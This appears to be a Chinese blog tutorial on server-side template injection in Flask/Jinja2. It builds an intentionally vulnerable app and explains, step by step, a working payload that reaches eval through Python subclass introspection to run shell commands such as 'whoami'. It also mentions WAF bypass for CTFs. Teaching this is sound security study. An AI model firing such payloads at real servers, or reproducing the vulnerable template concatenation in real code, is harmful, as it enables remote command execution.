SSTI 简单总结

2020-04-17  本文已影响0人  thx_c619

SSTI(Server-Side TemplateInjection)

SSTI(Server-Side TemplateInjection)服务端模板注入攻击,通过与服务端模板的输入输出交互,在过滤不严格的情况下,构造恶意输入数据,从而达到读取文件或者getshell的目的。此种类型漏洞虽然多次在CTF中,以Python语言为载体出现,但是这并不是Python模板引擎独有的漏洞。

值得注意的是:
凡是使用模板的地方都可能会出现SSTI的问题,SSTI不属于任何一种语言。

以下内容,以Python的模板引擎Jinja2为例

Jinja2

Jinja2 是一个 Python 的功能齐全的模板引擎。它有完整的 unicode 支持,一个可选 的集成沙箱执行环境,被广泛使用,以 BSD 许可证授权。
官方中文文档:http://docs.jinkan.org/docs/jinja2/

官方文档中,以下两句便指出了可能出现的漏洞点:

模板包含 变量表达式 ,这两者在模板求值的时候会被替换为值。

#也就是以下两种写法

{% ... %} # 控制结构
{{ ... }} # 变量取值

搭建测试环境

from flask import Flask,request
from jinja2 import Template
import os

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'Tom')
    t = Template("Hello " + name)
    return t.render()

if __name__ == '__main__':
    app.run(host='127.0.0.1',port='8888')

启动服务器,并在浏览器中访问:http://127.0.0.1:8888/

分析

网上有很多payload,这里以一个常规的payload讲解。

{%for c in [].__class__.__base__.__subclasses__()%}
    {% if c.__name__=='catch_warnings' %}
        {{c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
    {%endif%}
{%endfor%}

__class__

__class__是类的一个内置属性,也是每个类实例的,它是一个类的引用。

>>> [].__class__
<class 'list'>

__base__

__base__返回类的直接基类。在其他payload也有__bases__,__mro__,执行一下,可以看出其中的不同,但我们构造payload的目的是拿到<class 'object'>,为什么是<class 'object'>呢?

>>> [].__class__.__mro__
(<class 'list'>, <class 'object'>)
>>> [].__class__.__base__
<class 'object'>
>>> [].__class__.__bases__
(<class 'object'>,)

__subclasses__

每个类会保存由对其直接子类的弱引用组成的列表。 此方法将返回一个由仍然存在的所有此类引用组成的列表。通俗的讲,就是返回该类的子类列表。
所以,当我们拿到<class 'object'>时,便可以获得object类的子类列表

>>> [].__class__.__base__.__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>,...]

但是 payload为什么从object子类中找到catch_warnings类呢?

 {% if c.__name__=='catch_warnings' %}

我们随便选择object两个子类来比较

>>> [].__class__.__base__.__subclasses__()[22].__name__
'complex'
>>> [].__class__.__base__.__subclasses__()[22].__init__
<slot wrapper '__init__' of 'object' objects>
>>> [].__class__.__base__.__subclasses__()[130].__name__
'_Printer'
>>> [].__class__.__base__.__subclasses__()[130].__init__
<function _Printer.__init__ at 0x0000020BFF695318>

complex这个类使用"__init__"初始化时可以看到一个wrapper,而wrapper是指这些函数并没有被重载,这时他们并不是function,不具有"__globals__"属性。而"_Printer"则具有"__globals__"。

>>> [].__class__.__base__.__subclasses__()[130].__init__.__globals__
{'__name__': '_sitebuiltins', '__doc__': '\nThe objects used by the site module to add custom builtins.\n', '__package__': '', '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x0000020BFF687EC8>, '__spec__': ModuleSpec(name='_sitebuiltins', loader=<_frozen_importlib_external.SourceFileLoader object at 0x0000020BFF687EC8>, origin='C:\\Users\\wyj\\AppData\\Local\\Programs\\Python\\Python37\\lib\\_sitebuiltins.py'), '__file__': 'C:\\Users\\wyj\\AppData\\Local\\Programs\\Python\\Python37\\lib\\_sitebuiltins.py', '__cached__': 'C:\\Users\\wyj\\AppData\\Local\\Programs\\Python\\Python37\\lib\\__pycache__\\_sitebuiltins.cpython-37.pyc', '__builtins__': {'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", '__package__': '', '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>), '__build_class__': <built-in function __build_class__>, '__import__': <built-in function __import__>, 'abs': <built-in function abs>, 'all': <built-in function all>, 'any': <built-in function any>, 'ascii': <built-in function ascii>, 'bin': <built-in function bin>, 'breakpoint': <built-in function breakpoint>, 'callable': <built-in function callable>, 'chr': <built-in function chr>, 'compile': <built-in function
compile>, 'delattr': <built-in function delattr>, 'dir': <built-in function dir>, 'divmod': <built-in function divmod>, 'eval': <built-in function eval>....

在__globals__的属性__builtins__里面发现了很多函数,例如:dir、eval等等。所以要找catch_warnings这个类,因为这个类就是被重载过的。当然也可以不用catch_warnings这个类,也可以用其他的类,例如_Printer类,反正只要能找到可利用的函数即可。

所以当我们执行下面这句代码时

  {{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}

便相当于得到一个shell

>>> [].__class__.__base__.__subclasses__()[130].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")
'desktop-ha50nan\\wyj\n'

回到测试环境上,输入payload


payload

也可以输入我们构造的那个payload

payload

注入漏洞检测工具

自动检测和发掘服务器端模板的注入漏洞,支持很多模板引擎。
https://github.com/epinna/tplmap

需要注意:
本次简单总结,只是为了更好的入门理解ssti,在实际情况下,不同环境下的python环境不同,需要根据实际情况来选择object的子类;在CTF中会设置WAF,所以需要对payload进行修改来绕过WAF。在实际情况和CTF中不一定是Python语言和Jinja2框架,可能会是其他的语言和模板框架。所以遇到ssti的难题,更多的是去查找对应语言一些用法来绕过WAF并构造payload。

参考
https://www.cnblogs.com/-chenxs/p/11971164.html
https://drops.org.cn/Python/flask-jinja2-ssti.html
https://www.anquanke.com/post/id/188172#h3-3
https://www.ebounce.cn/web/19.html
https://www.mi1k7ea.com/2019/06/02/%E6%B5%85%E6%9E%90Python-Flask-SSTI

文章中如果有什么不足,理解不对的地方还请师傅们指教。

上一篇下一篇

猜你喜欢

热点阅读